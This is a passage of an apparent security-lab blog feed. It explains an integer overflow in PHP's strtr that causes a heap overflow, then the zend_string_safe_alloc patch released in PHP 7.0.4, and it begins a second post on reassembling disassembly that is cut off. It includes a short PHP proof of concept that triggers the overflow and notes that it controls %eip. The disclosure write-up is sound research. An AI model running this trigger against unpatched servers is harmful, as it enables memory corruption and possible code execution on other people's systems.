&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;replace_count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The variable &lt;code&gt;new_str&lt;/code&gt; is allocated with &lt;code&gt;zend_string_alloc&lt;/code&gt;, with the
multiplicative expression: &lt;code&gt;count&lt;/code&gt; * (&lt;code&gt;str_len&lt;/code&gt; - &lt;code&gt;needle_len&lt;/code&gt;) + &lt;code&gt;ZSTR_LEN(haystack)&lt;/code&gt;.
If the value is overflowed, thus allocates smaller size than the expected one,
the following memcpy in the for loop causes heap overflow.&lt;/p&gt;
&lt;p&gt;The PoC code for exploiting the bug is in the following.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ABCD&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32768&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Changing &amp;#39;ABCD&amp;#39; into other value alters %eip to arbitrary value.&lt;/span&gt;
    &lt;span class="nv"&gt;$c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AA&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;strtr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The haystack becomes a string with the length of 65,536,
the &lt;code&gt;needle&lt;/code&gt; is 'AA', so the &lt;code&gt;count&lt;/code&gt; is 32,768 ('A'*65,536 can be splitted into
32,768 of 'AA's), and &lt;code&gt;str_len&lt;/code&gt; is 131,072 ('ABCD' * 32768 = 131071).
Therefore, the resulting expression in the &lt;code&gt;zend_string_alloc&lt;/code&gt; is
32768 * (131072 - 2) + 65536 = 4294967296 = 0.
Since the string object is allocated as size zero,
running &lt;code&gt;memcpy&lt;/code&gt; over the object in the for-loop will trigger
heap overflow.&lt;/p&gt;
&lt;h2&gt;A Patch: zend_string_safe_alloc()&lt;/h2&gt;
&lt;p&gt;We reported those three vulnerability to PHP, and all of the bugs are
patched in PHP v7.0.4. The patches were very simple, just changing &lt;code&gt;zend_string_alloc&lt;/code&gt;
to &lt;code&gt;zend_string_safe_alloc&lt;/code&gt;. Let's take a look how this can prevent the integer
overflow bugs.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;//zend_string.h&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_always_inline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;zend_string_safe_alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// calls _safe_malloc&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;zend_string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zend_string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;safe_pemalloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZEND_MM_ALIGNED_SIZE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_ZSTR_STRUCT_SIZE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;GC_REFCOUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//...&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// zend_alloc.c&lt;/span&gt;
&lt;span class="c1"&gt;// _safe_malloc calls zend_safe_address to check if n*m overflows.&lt;/span&gt;
&lt;span class="n"&gt;ZEND_API&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZEND_FASTCALL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_safe_malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nmemb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// calls safe_address&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pemalloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;safe_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nmemb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_always_inline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;safe_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nmemb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_safe_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nmemb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UNEXPECTED&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;zend_error_noreturn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E_ERROR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Possible integer overflow in memory allocation (%zu * %zu + %zu)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nmemb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// zend_multiply.h&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_always_inline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_safe_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nmemb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nmemb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m_overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__asm__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mull %3&lt;/span&gt;&lt;span class="se"&gt;\n\t&lt;/span&gt;&lt;span class="s"&gt;addl %4,%0&lt;/span&gt;&lt;span class="se"&gt;\n\t&lt;/span&gt;&lt;span class="s"&gt;adcl $0,%1&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;=&amp;amp;a&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;=&amp;amp;d&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m_overflow&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;rm&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;rm&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UNEXPECTED&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m_overflow&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Contrary to &lt;code&gt;zend_string_alloc&lt;/code&gt; that gets multiplicative expression as the
argument, &lt;code&gt;zend_string_safe_alloc&lt;/code&gt; gets the factors of the size, and internally
apply the multiplication to calculate the size. In particular, the function
&lt;code&gt;zend_string_safe_alloc&lt;/code&gt; calls &lt;code&gt;_safe_malloc&lt;/code&gt;, and inside of that,
the function calls &lt;code&gt;safe_address&lt;/code&gt;, which will finally call &lt;code&gt;zend_safe_address&lt;/code&gt;.
In the function &lt;code&gt;zend_safe_address&lt;/code&gt;, the assembly code placed in the middle
actually check if the multiplication of the factor generates integer overflow.
If overflow arise, the allocation will fail with error message
(at the code of &lt;code&gt;if (UNEXPECTED(overflow))&lt;/code&gt; in &lt;code&gt;safe_address()&lt;/code&gt;).
Therefore, these integer overflow vulnerabilities no longer exist in the
latest version of PHP.&lt;/p&gt;
&lt;p&gt;[1] Thompson, K. (1984). Reflections on trusting trust. Communications of the ACM, 27(8), 761-763.&lt;/p&gt;
&lt;p&gt;[2] Yun, Insu, et al. (2016). APISAN: Sanitizing API Usages through Semantic Cross-checking, In Proceedings of the 25th USENIX Security Symposium (Security), Austin, TX.&lt;/p&gt;</content><category term="Blog"></category><category term="Security"></category></entry><entry><title>Tricks to Reassemble Disassembly</title><link href="https://gts3.org/2015/rasm.html" rel="alternate"></link><published>2015-06-21T17:20:20+02:00</published><updated>2015-06-21T17:20:20+02:00</updated><author><name>Taesoo</name></author><id>tag:gts3.org,2015-06-21:/2015/rasm.html</id><summary type="html">&lt;p&gt;A few tricks to produce relocatable, reassemblable disassembly&lt;/p&gt;</summary><content type="html">&lt;p&gt;How can we produce re-assemblable disassembly? In other words, why an
assembly generated by &lt;code&gt;objdump&lt;/code&gt; can not be compiled by an
assembler like &lt;code&gt;gas&lt;/code&gt;? First of all, on CISC-like machines
including x86, it is non-trivial to faithfully disassemble binaries
if obfusticated or self-modifying. Fortunately though, binaries
compiled with typical compilers and programmed with modern style
are not too difficult to disassemble, what we call
commodity off-the-shelf (COTS) binaries. Then, given the correctly
disassembled assembly, what are the remained issues to reproduce a
binary that functions semantically same as the original one.&lt;/p&gt;
&lt;p&gt;1) Direct jmp/call&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x800000ff&lt;/span&gt;
&lt;span class="n"&gt;calll&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mh"&gt;0x800000ff&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Without precise restriction on instruction layout (via a linker
script), the above assembly code incorrectly behaves after being compiled
if there is single byte misalignment, which we often see a nop-like
(or faulty) gap between two functions.&lt;/p&gt;
&lt;p&gt;In fact, the solution is rather simple: &lt;em&gt;symbolize all addresses&lt;/em&gt;. For
example, like &lt;code&gt;objdump&lt;/code&gt; generated outputs, 1) we first label every single
instruction, and 2) replace an operand (target address) with the
corresponding symbol (label). The above assembly will be
rendered like the below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mh"&gt;0x8000000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;A800000ff&lt;/span&gt;
